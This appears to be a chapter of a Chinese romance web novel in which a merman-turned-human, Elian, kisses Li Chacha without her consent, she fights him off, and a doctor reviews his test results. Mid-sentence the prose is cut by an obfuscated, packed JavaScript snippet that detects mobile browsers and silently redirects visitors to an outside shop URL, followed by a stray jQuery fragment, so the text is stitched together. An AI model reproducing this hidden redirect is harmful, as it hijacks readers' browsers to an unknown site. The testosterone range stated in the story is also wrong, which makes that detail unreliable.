心口处灼烧的疼痛感渐渐淡去,蓝色光晕治愈了那道狰狞的伤口,身体的撕裂感被抚平,沸腾的血液变得平静。
然而,灵魂深处的叫嚣声却没停止,一股比刚刚更急切的欲望从深处涌出,迫切地想要做些什么。
埃利安半阖着眼睛,深蓝色的眸子里染上了一层薄雾,遮住幽深的瞳孔,却无法完全挡住里头的暗光。
他眼神似迷离又清醒,紧紧盯着李茶茶的眼睛,那双漂亮的柳叶眼只会睁大了,里头棕黑色的瞳孔轻轻颤抖着,就连睫毛都在跟着打颤。
不够……不够……
欲望只一开阀就喷涌而出,眼底的幽深被一层猩红慢慢替代,埃利安抬起已经愈合了的手心,强硬地贴在李茶茶脑后,另一只手圈住李茶茶的腰,一用力,将她整个人完全贴合在自己胸前。
感受着紧密贴在一起的柔软唇瓣,埃利安再也控制不住,急切地吸吮起来,顺着心意,试探地用舌尖舔了舔李茶茶已经微微发肿的下唇。
“哼……”李茶茶闷哼一声,大脑仿佛已经宕机,她无法思考,身体被完全禁锢,所有的感官被迫集中在了唇上。
见李茶茶走神,埃利安不爽地轻轻咬了下李茶茶的下唇。
“啊……”细微的刺痛感迫使李茶茶一下就张开了嘴。
埃利安顺势而上,将舌尖探了进去。
有什么温热的东西碰了下舌头,李茶茶身子一抖,瞬间回过神来,她一狠心,咬上了那个柔软的东西。
“唔!”埃利安吃痛稍一走神,李茶茶瞧准时机,猛一抬脚狠狠顶上埃利安的下半身。
有过几次打架经验,埃利安迅速后退半步撤开身子,堪堪躲过李茶茶的膝盖。
“我操你大爷死鱼——!”李茶茶大吼一嗓子,几步上前一把推倒埃利安。
“嘭”的一声,埃利安的头撞上了后边瓷白的墙体,没等他反应过来,人已经躺在了地板上。
李茶茶一个跨步上前死死压住身下的死鱼,一双手掐上他的脖子,“你个没良心的!”
她气得瞪大了眼睛,眼尾还残留着羞愤的绯红,眼里的水光已经被怒火烧灼成火焰。
“我……”埃利安的眼睛彻底恢复了平静,全然看不出刚才的异样,他平躺着静静接受着李茶茶的怒火,刚才的记忆一瞬间涌入脑海里。
他……干了什么?
“你什么你?”李茶茶阴险地笑着,气得额角都暴起了青筋,咬牙切齿道:“我他妈好心进来救你,你他妈的占老娘便宜?”
“啪”的一声,埃利安的头往旁边一偏,一个清晰的巴掌印留在了左脸上。
“我真他妈好心被当驴肝肺!”李茶茶大口喘着气,眼睛通红,显然气得不轻,她拽着埃利安后脑袋的头发把他的脸掰正回来,往空中提起来,“说!你啥意思?我问你什么意思!”
知道李茶茶现在正在气头上,也知道是自己的失礼。
埃利安半仰着头,不知所措道:“我、对不起……”
“对不起?”
显然不满意这个回答。
李茶茶刚举起手还想教训身下这个死流氓鱼,身后突然响起剧烈的拍门声。
“茶茶?”林欣的声音在门口响起,“你在里面吗?”
林欣来了,李茶茶不想被人看见她这幅样子。
她一把甩开埃利安的脑袋,起身又踹了他一脚。
“我在!”李茶茶对着门口大声喊了声,“等我一下!”
说完,李茶茶恨恨地瞪了眼还躺在地上的死鱼,过去一边开了水龙头洗了把脸。
抬头看着洗漱镜中的自己,凌乱的头发,湿润的眼角,以及那个红肿的唇。
她撑在洗漱台两边的手又握紧了拳头。
透过洗漱镜,旁边的死鱼自己站了起来,垂着头,看起来可怜巴巴的。
“啧……”李茶茶气势汹汹地转身,撞着埃利安的肩膀,过去拉开门。
等在外边的林欣连身上的白大褂都没来得及脱下,她抬头瞧着前边出来的人,太过显眼,视线直接落在了李茶茶的嘴唇上。她再略过李茶茶的肩膀往里边看去,就见着了巴巴跟着李茶茶屁股后边的埃利安,以及他脸上的巴掌印。
这是……
林欣皱起眉,不用细想已经隐约猜到了刚刚发生了什么。
但现在不是纠结这些的时候,林欣招手叫来后边的护士,“跟我走吧。”
李茶茶仰着下巴,大步绕过众人,半点陪着埃利安的意思都没有。
埃利安站在原地,一双手揪着衣角,他抿着唇,低下了头,不知道怎么挽回李茶茶。
-
医院。
埃利安面色平静地平躺在检查床上,随着推入的动作,林欣清晰地在大屏上看清了他的身体状况。
很神奇,变成人后,就连腿部的骨骼都一块不少。
林欣只露出一双眼睛,低头在病历本上记录下情况。
检查结束,埃利安看着头顶那个长得像甜甜圈一样的光环远去,视野里又回到了检查室内瓷白的天花板上。
林欣把笔别在胸前的口袋里,走上前道:“可以坐会休息一下,我去拿血液检测报告。”
“我……”埃利安坐在检查床边,看着走到门口已经把门拉开了条缝隙的人,他犹豫半天,最后也没能把话说下去。
要说什么呢?
问问李茶茶在外面等他吗?问问李茶茶还在生气吗?
或者是……问问李茶茶还要他吗?
想到这,埃利安先给自己判了死刑,连带着头低了几分,连叫住林欣的勇气也没了。
站在门口许久也没听见身后那人继续说下去,林欣拉下口罩,回头看向垂着头焉巴了的人,她叹了口气,难得耐着性子安慰他:“有什么话亲自给茶茶说,借别人转达的都会显得没诚意。”
“咔哒”一声,检查室的门关上。
林欣已经走了,这里现在只剩下自己。
埃利安低头注视着手心,伤口又恢复了,连他自己都没察觉。
是……那个吻?
埃利安歪头,为什么他会知道那个是吻?
不过,他抿了抿唇,唇上残留的柔软触感已经消失,但留存在心底怪异的情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17728991|206464||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
绪还在,随着他的动作又一次流转全身。
酸酸麻麻的,微弱却又让人不可忽视,逼迫似的想让他干点什么。
走廊外,李茶茶百无聊赖地背着手,左看看,右走走。
同安医院的10楼严禁禁止外人进入,用于对特殊保护生物做体检,所以这一整层楼不说人,连只蚊子怕都看不见。
安静到极致的环境下,总会让人忍不住胡思乱想。
李茶茶的脚步缓缓地慢了下来,她走到角落,面对着墙壁,看着墙上自己的影子,下意识地抬起手碰了碰嘴角。
“嘶……”她倒吸一口凉气,忙拿出手机调成自拍模式对准自己的嘴巴,看见嘴角处破了个小口子。
有意被忘记的记忆一瞬间挤入脑子里,李茶茶立马红了脸,满眼愤怒地把头磕上白墙。
这条该死的鱼!
林欣从拐角过来见着的就是这么个画面,李茶茶站在墙角,一下又一下地拿头撞她医院的墙。
“磕坏了记得赔钱。”林欣过去,把手里的整合体检数据递给李茶茶,“检查结果出来了,你看看?”
“不看!”李茶茶扭过头,用脸贴着墙,企图让冰冷的墙体降下来她脸上的热度。
有些人一旦害羞起来,就连脖子也是红的。
林欣对李茶茶已经暴露的伪装视而不见,只问:“你们在谈恋爱?”
李茶茶瞪大了眼睛,一个回头,大声道:“谁说的!”
林欣挑眉一笑,视线有意无意落在李茶茶的嘴角边,“没人说。”因为是她自己看的。
李茶茶顺着她的视线低头,一下子就反应过来了她在内涵自己,她赶紧抬起手背捂住嘴,“林欣!”
“行了行了。”林欣眼底含笑,拉着李茶茶去了旁边的办公室里,压着她的肩膀把人按在凳子上。
“不闹你了。”林欣打开手里的检测报告,正色几分,“埃利安的情况很不好。”
刚刚一切的羞愤、生气等等情绪全部一抛脑后,这句话一出,李茶茶一下就紧张了起来,“怎么回事?”
“你先别急。”林欣把被李茶茶突然一把抓住的手解救出来,这才道:“其实身体方面问题不大。”
“那是什么方面?”李茶茶赶紧追问。
她现在算是知道那些来医院看病的人为什么那么急躁了,就这医生一下一下反转又反转的说话方式,换个考拉来都受不了。
“我给他做了全身检查,发现他在变成人形后和正常普通男性的身体构造完全一样,包括生理构造,那么,他的体内雄性激素也该是一样的。”
林欣示意报告上的一页数据,“正常男性体内的总睾酮数值应该在300-1000ng/ml,他的不一样,他是这个数值的整整十倍。”
“十倍?”李茶茶沉思半晌,脑子一抽道:“所以你的意思是死鱼他那方面不行?”
原谅她,虽然身为工科女,但海洋资源与环境这门学科可半点没和人体生物学沾边。
林欣垮着脸,无语地看着李茶茶,只得亲自开了口:“我的意思是,他很行,而且,非常行。”